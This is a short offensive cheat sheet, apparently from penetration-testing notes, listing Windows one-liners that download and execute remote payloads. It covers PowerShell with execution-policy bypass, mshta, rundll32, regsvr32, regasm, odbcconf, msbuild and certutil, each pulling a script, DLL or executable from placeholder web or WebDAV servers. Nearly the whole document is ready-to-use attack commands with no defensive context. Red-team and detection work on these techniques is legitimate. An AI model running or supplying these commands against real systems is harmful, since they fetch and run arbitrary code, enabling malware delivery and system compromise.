Windows - Download and execute methods

Downloaded files location

- C:\Users\\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\\AppData\Local\Microsoft\Windows\INetCache\IE\
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Powershell

From an HTTP server

```
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
```

From a Webdav server

```
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```

Cmd

```
cmd.exe /k < \\webdavserver\folder\batchfile.txt
```

Cscript / Wscript

```
cscript //E:jscript \\webdavserver\folder\payload.txt
```

Mshta

```
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```

```
mshta http://webserver/payload.hta
```

```
mshta \\webdavserver\folder\payload.hta
```

Rundll32

```
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication”;o=GetObject("script:http://webserver/payload.sct”);window.close();
```

Regasm / Regsvc @subTee

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```

Regsvr32 @subTee

```
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```

```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```

Odbcconf

```
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```

Msbuild

```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe” & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml”
```

Certutil

```
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```

```
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```

Thanks to

- arno0x0x – Windows oneliners to download remote payload and execute arbitrary code (https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)